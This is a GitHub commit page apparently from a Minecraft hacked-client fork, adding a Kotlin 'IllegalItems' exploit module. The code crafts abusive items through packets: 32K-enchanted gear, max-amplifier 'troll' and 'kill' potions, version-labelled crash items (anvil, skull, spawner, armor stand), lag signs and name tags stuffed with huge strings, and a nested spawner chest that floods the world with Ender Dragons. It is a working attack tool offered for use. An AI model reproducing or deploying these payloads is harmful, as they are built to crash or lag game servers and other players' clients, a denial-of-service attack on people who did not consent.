forked from RMCQAZ/KevinClient
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
KevinClient B2.2
- Loading branch information
Showing
21 changed files
with
960 additions
and
156 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
310 changes: 310 additions & 0 deletions
310
src/minecraft/kevin/module/modules/exploit/IllegalItems.kt
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,310 @@ | ||
package kevin.module.modules.exploit | ||
|
||
import kevin.module.* | ||
import kevin.utils.ChatUtils | ||
import kevin.utils.ItemUtils | ||
import net.minecraft.client.gui.inventory.GuiInventory | ||
import net.minecraft.init.Blocks | ||
import net.minecraft.init.Items | ||
import net.minecraft.item.ItemStack | ||
import net.minecraft.nbt.NBTTagCompound | ||
import net.minecraft.nbt.NBTTagList | ||
import net.minecraft.network.play.client.C0DPacketCloseWindow | ||
import net.minecraft.network.play.client.C16PacketClientStatus | ||
|
||
object IllegalItems : Module("IllegalItems", "Allows you to get illegal items(Only creative).", category = ModuleCategory.EXPLOIT) { | ||
private val mode = ListValue("Mode", arrayOf("InInventory", "Throw"), "InInventory") | ||
private val inventorySpoof = BooleanValue("InventorySpoof", false) | ||
private val stackSize = IntegerValue("StackSize", 1, 1, 64) | ||
private val addUnbreakableNBT = BooleanValue("AddUnbreakableNBT", true) | ||
private val addLootingNBT = BooleanValue("AddLootingNBT", false) | ||
private val addThornsNBT = BooleanValue("AddThornsNBT", false) | ||
private val toolEnchantment = ListValue("ToolEnchantment", arrayOf("Off", "SilkTouch", "Fortune"), "Off") | ||
private val item = ListValue("Item", arrayOf( | ||
"32KSword", //剑 | ||
"32KBow", //弓 | ||
"32KShovel", //铲 | ||
"32KPickaxe", //稿 | ||
"32KAxe", //斧 | ||
"32KHelmet", //钻石头 | ||
"32KChestplate", //钻石甲 | ||
"32KLeggings", //钻石腿 | ||
"32KBoots", //钻石鞋 | ||
"TrollPotion", | ||
"KillPotion", | ||
"CrashAnvil", | ||
"CrashHead", | ||
"CrashSpawner", | ||
"CrashStand", | ||
"LagSign", | ||
"lagTag", | ||
"SpawnEgg1", | ||
"SpawnEgg2", | ||
"SpawnEgg3", | ||
"InfinityFirework", | ||
"EnderDragon-Loop", | ||
"CommandBlock", | ||
"CommandBlockMinecart", | ||
"Barrier", | ||
"DragonEgg", | ||
"BrownMushroomBlock", | ||
"RedMushroomBlock", | ||
"Farmland", | ||
"MobSpawner", | ||
"LitFurnace" | ||
), "32KSword") | ||
private fun getEmptySlot(): Int? { | ||
for (i in 36 .. 44) { // hotbar | ||
if (mc.thePlayer?.inventoryContainer?.getSlot(i)?.stack == null) | ||
return i | ||
} | ||
for (i in 9..35) { // inv | ||
if (mc.thePlayer?.inventoryContainer?.getSlot(i)?.stack == null) | ||
return i | ||
} | ||
return null | ||
} | ||
private fun add32K(id: Int, nbtTagList: NBTTagList) { | ||
val enchantment = NBTTagCompound() | ||
enchantment.setShort("id", id.toShort()) | ||
enchantment.setShort("lvl", Short.MAX_VALUE) | ||
nbtTagList.appendTag(enchantment) | ||
} | ||
private fun addUnbreakable(itemStack: ItemStack) { | ||
if (!addUnbreakableNBT.get()) | ||
return | ||
if (itemStack.tagCompound == null) | ||
itemStack.tagCompound = NBTTagCompound() | ||
itemStack.tagCompound.setBoolean("Unbreakable", true) | ||
} | ||
override fun onEnable() { | ||
if (mc.theWorld == null || mc.thePlayer == null) { | ||
this.state = false | ||
return | ||
} | ||
if (mc.playerController.isNotCreative) { | ||
ChatUtils.messageWithStart("§cError: Not creative mode.") | ||
this.state = false | ||
return | ||
} | ||
val itemStack = when(item.get()) { | ||
//Exploits | ||
"32KSword" -> { | ||
val sword = ItemStack(Items.diamond_sword) | ||
val swordNBTs = NBTTagList() | ||
for (id in if (!addLootingNBT.get()) arrayOf(16, 19, 20, 34) else arrayOf(16, 19, 20, 21, 34)) //锋利 击退 火焰附加 抢夺 耐久 | ||
add32K(id, swordNBTs) | ||
sword.setTagInfo("ench", swordNBTs) | ||
addUnbreakable(sword) | ||
sword | ||
} | ||
"32KBow" -> { | ||
val bow = ItemStack(Items.bow) | ||
val bowNBTs = NBTTagList() | ||
for (id in arrayOf(48, 49, 50, 34)) //力量 冲击 火矢 耐久 | ||
add32K(id, bowNBTs) | ||
val enchantment = NBTTagCompound() | ||
enchantment.setShort("id", 51) //无限 | ||
enchantment.setShort("lvl", 1) | ||
bowNBTs.appendTag(enchantment) | ||
bow.setTagInfo("ench", bowNBTs) | ||
addUnbreakable(bow) | ||
bow | ||
} | ||
"32KShovel" -> { | ||
val shovel = ItemStack(Items.diamond_shovel) | ||
val shovelNBTs = NBTTagList() | ||
val list = when (toolEnchantment.get()) { | ||
"SilkTouch" -> arrayOf(34, 32, 33) //耐久 效率 精准采集 | ||
"Fortune" -> arrayOf(34, 32, 35) //耐久 效率 时运 | ||
else -> arrayOf(34, 32) //耐久 效率 | ||
} | ||
for (id in list) | ||
add32K(id, shovelNBTs) | ||
shovel.setTagInfo("ench", shovelNBTs) | ||
addUnbreakable(shovel) | ||
shovel | ||
} | ||
"32KPickaxe" -> { | ||
val pickaxe = ItemStack(Items.diamond_pickaxe) | ||
val pickaxeNBTs = NBTTagList() | ||
val list = when (toolEnchantment.get()) { | ||
"SilkTouch" -> arrayOf(34, 32, 33) //耐久 效率 精准采集 | ||
"Fortune" -> arrayOf(34, 32, 35) //耐久 效率 时运 | ||
else -> arrayOf(34, 32) //耐久 效率 | ||
} | ||
for (id in list) | ||
add32K(id, pickaxeNBTs) | ||
pickaxe.setTagInfo("ench", pickaxeNBTs) | ||
addUnbreakable(pickaxe) | ||
pickaxe | ||
} | ||
"32KAxe" -> { | ||
val axe = ItemStack(Items.diamond_axe) | ||
val axeNBTs = NBTTagList() | ||
val list = when (toolEnchantment.get()) { | ||
"SilkTouch" -> arrayOf(34, 32, 33) //耐久 效率 精准采集 | ||
"Fortune" -> arrayOf(34, 32, 35) //耐久 效率 时运 | ||
else -> arrayOf(34, 32) //耐久 效率 | ||
} | ||
for (id in list) | ||
add32K(id, axeNBTs) | ||
axe.setTagInfo("ench", axeNBTs) | ||
addUnbreakable(axe) | ||
axe | ||
} | ||
"32KHelmet" -> { | ||
val helmet = ItemStack(Items.diamond_helmet) | ||
val helmetNBTs = NBTTagList() | ||
val list = | ||
if (addThornsNBT.get()) | ||
arrayOf(34, 0, 5, 6, 7) //耐久 保护 水下呼吸 水下速掘 荆棘 | ||
else | ||
arrayOf(34, 0, 5, 6) //耐久 保护 水下呼吸 水下速掘 | ||
for (id in list) | ||
add32K(id, helmetNBTs) | ||
helmet.setTagInfo("ench", helmetNBTs) | ||
addUnbreakable(helmet) | ||
helmet | ||
} | ||
"32KChestplate" -> { | ||
val chestPlate = ItemStack(Items.diamond_chestplate) | ||
val chestPlateNBTs = NBTTagList() | ||
val list = | ||
if (addThornsNBT.get()) | ||
arrayOf(34, 0, 7) //耐久 保护 荆棘 | ||
else | ||
arrayOf(34, 0) //耐久 保护 | ||
for (id in list) | ||
add32K(id, chestPlateNBTs) | ||
chestPlate.setTagInfo("ench", chestPlateNBTs) | ||
addUnbreakable(chestPlate) | ||
chestPlate | ||
} | ||
"32KLeggings" -> { | ||
val leggings = ItemStack(Items.diamond_leggings) | ||
val leggingsNBTs = NBTTagList() | ||
val list = | ||
if (addThornsNBT.get()) | ||
arrayOf(34, 0, 7) //耐久 保护 荆棘 | ||
else | ||
arrayOf(34, 0) //耐久 保护 | ||
for (id in list) | ||
add32K(id, leggingsNBTs) | ||
leggings.setTagInfo("ench", leggingsNBTs) | ||
addUnbreakable(leggings) | ||
leggings | ||
} | ||
"32KBoots" -> { | ||
val boots = ItemStack(Items.diamond_boots) | ||
val bootsNBTs = NBTTagList() | ||
val list = | ||
if (addThornsNBT.get()) | ||
arrayOf(34, 0, 2, 7) //耐久 保护 摔落保护 荆棘 | ||
else | ||
arrayOf(34, 0, 2) //耐久 保护 摔落保护 | ||
for (id in list) | ||
add32K(id, bootsNBTs) | ||
boots.setTagInfo("ench", bootsNBTs) | ||
addUnbreakable(boots) | ||
boots | ||
} | ||
"TrollPotion" -> { | ||
val trollPotion = ItemStack(Items.potionitem) | ||
|
||
trollPotion.itemDamage = 16395 | ||
|
||
val trollPotionEffects = NBTTagList() | ||
for (i in 1..27) { | ||
val effect = NBTTagCompound() | ||
effect.setInteger("Amplifier", Integer.MAX_VALUE) | ||
effect.setInteger("Duration", Integer.MAX_VALUE) | ||
effect.setInteger("Id", i) | ||
trollPotionEffects.appendTag(effect) | ||
} | ||
trollPotion.setTagInfo("CustomPotionEffects", trollPotionEffects) | ||
trollPotion.setStackDisplayName("§c§lTroll§6§lPotion") | ||
trollPotion | ||
} | ||
"KillPotion" -> { | ||
val killPotion = ItemStack(Items.potionitem) | ||
killPotion.itemDamage = 16395 | ||
val effect = NBTTagCompound() | ||
effect.setInteger("Amplifier", 125) | ||
effect.setInteger("Duration", 1) | ||
effect.setInteger("Id", 6) | ||
val effects = NBTTagList() | ||
effects.appendTag(effect) | ||
killPotion.setTagInfo("CustomPotionEffects", effects) | ||
killPotion.setStackDisplayName("§c§lKill§6§lPotion") | ||
killPotion | ||
} | ||
"CrashAnvil" -> { | ||
val crashAnvil = ItemStack(Blocks.anvil) | ||
crashAnvil.setStackDisplayName("§8Crash§c§lAnvil §7| §cmc1.8-mc1.8") | ||
crashAnvil.itemDamage = 16384 | ||
crashAnvil | ||
} | ||
"CrashHead" -> { | ||
val crashHead = ItemStack(Items.skull) | ||
val compound = NBTTagCompound() | ||
compound.setString("SkullOwner", " ") | ||
crashHead.tagCompound = compound | ||
crashHead.setStackDisplayName("§8Crash§6§lHead §7| §cmc1.8-mc1.10") | ||
crashHead | ||
} | ||
"CrashSpawner" -> ItemUtils.createItem("mob_spawner 1 0 {BlockEntityTag:{EntityId:\"Painting\"}}").setStackDisplayName("§8Crash§c§lSpawner §7| §cmc1.8-mc1.8") | ||
"CrashStand" -> ItemUtils.createItem("armor_stand 1 0 {EntityTag:{Equipment:[{},{},{},{},{id:\"skull\",Count:1b,Damage:3b,tag:{SkullOwner:\"Test\"}}]}}").setStackDisplayName("§8Crash§2§lStand §7| §cmc1.10") | ||
"LagSign" -> { | ||
val lagStringBuilder = StringBuilder() | ||
for (i in 0..499) | ||
lagStringBuilder.append("/(!§()%/§)=/(!§()%/§)=/(!§()%/§)=") | ||
ItemUtils.createItem("sign 1 0 {BlockEntityTag:{Text1:\"{\\\"text\\\":\\\"$lagStringBuilder\\\"}\",Text2:\"{\\\"text\\\":\\\"$lagStringBuilder\\\"}\",Text3:\"{\\\"text\\\":\\\"$lagStringBuilder\\\"}\",Text4:\"{\\\"text\\\":\\\"$lagStringBuilder\\\"}\"}}").setStackDisplayName("§8Lag§2§lSign §7| §cmc1.8") | ||
} | ||
"lagTag" -> { | ||
val lagStringBuilder = StringBuilder() | ||
for (i in 0..499) | ||
lagStringBuilder.append("/(!§()%/§)=/(!§()%/§)=/(!§()%/§)=") | ||
ItemUtils.createItem("name_tag 1 0 {display:{Name: \"$lagStringBuilder\"}}") | ||
} | ||
"SpawnEgg1" -> ItemUtils.createItem("spawn_egg 1 64") | ||
"SpawnEgg2" -> ItemUtils.createItem("spawn_egg 1 63") | ||
"SpawnEgg3" -> ItemUtils.createItem("spawn_egg 1 53") | ||
"InfinityFirework" -> ItemUtils.createItem("fireworks 1 0 {HideFlags:63,Fireworks:{Flight:127b,Explosions:[0:{Type:0b,Trail:1b,Colors:[16777215,],Flicker:1b,FadeColors:[0,]}]}}").setStackDisplayName("§cInfinity §a§lFirework") | ||
"EnderDragon-Loop" -> ItemUtils.createItem("chest 1 0 {BlockEntityTag:{Items:[0:{Slot:0b, id:\"minecraft:mob_spawner\",Count:64b,tag:{BlockEntityTag:{EntityId:\"FallingSand\",MaxNearbyEntities:1000,RequiredPlayerRange:100,SpawnCount:100,SpawnData:{Motion:[0:0.0d,1:0.0d,2:0.0d],Block:\"mob_spawner\",Time:1,Data:0,TileEntityData:{EntityId:\"FallingSand\",MaxNearbyEntities:1000,RequiredPlayerRange:100,SpawnCount:100,SpawnData:{Motion:[0:0.0d,1:0.0d,2:0.0d],Block:\"mob_spawner\",Time:1,Data:0,TileEntityData:{EntityId:\"EnderDragon\",MaxNearbyEntities:1000,RequiredPlayerRange:100,SpawnCount:100,MaxSpawnDelay:20,SpawnRange:100,MinSpawnDelay:20},DropItem:0},MaxSpawnDelay:20,SpawnRange:500,MinSpawnDelay:20},DropItem:0},MaxSpawnDelay:5,SpawnRange:500,Delay:20,MinSpawnDelay:5}},Damage:0s}],value:\"Chest\",Lock:\"\"}}")!!.setStackDisplayName("§c§lEnder§c§a§lDragon §bSpawner Chest") | ||
//Blocks | ||
"CommandBlock" -> ItemStack(Blocks.command_block) | ||
"CommandBlockMinecart" -> ItemStack(Items.command_block_minecart) | ||
"Barrier" -> ItemStack(Blocks.barrier) | ||
"DragonEgg" -> ItemStack(Blocks.dragon_egg) | ||
"BrownMushroomBlock" -> ItemStack(Blocks.brown_mushroom_block) | ||
"RedMushroomBlock" -> ItemStack(Blocks.red_mushroom_block) | ||
"Farmland" -> ItemStack(Blocks.farmland) | ||
"MobSpawner" -> ItemStack(Blocks.mob_spawner) | ||
"LitFurnace" -> ItemStack(Blocks.lit_furnace) | ||
else -> ItemStack(Blocks.stone) | ||
} | ||
itemStack.stackSize = stackSize.get() | ||
if (inventorySpoof.get() && mc.currentScreen !is GuiInventory) { | ||
mc.netHandler.addToSendQueue(C16PacketClientStatus(C16PacketClientStatus.EnumState.OPEN_INVENTORY_ACHIEVEMENT)) | ||
} | ||
when(mode.get()) { | ||
"InInventory" -> { | ||
// find empty slot | ||
val emptySlot = getEmptySlot() | ||
if (emptySlot != null) { | ||
mc.playerController.sendSlotPacket(itemStack, emptySlot) | ||
ChatUtils.messageWithStart("§aPacket sent.") | ||
} else ChatUtils.messageWithStart("§cError: No empty stack.") | ||
} | ||
"Throw" -> { | ||
mc.playerController.sendPacketDropItem(itemStack) | ||
ChatUtils.messageWithStart("§aPacket sent.") | ||
} | ||
} | ||
if (inventorySpoof.get() && mc.currentScreen !is GuiInventory) { | ||
mc.netHandler.addToSendQueue(C0DPacketCloseWindow()) | ||
} | ||
this.state = false | ||
} | ||
} |
Oops, something went wrong.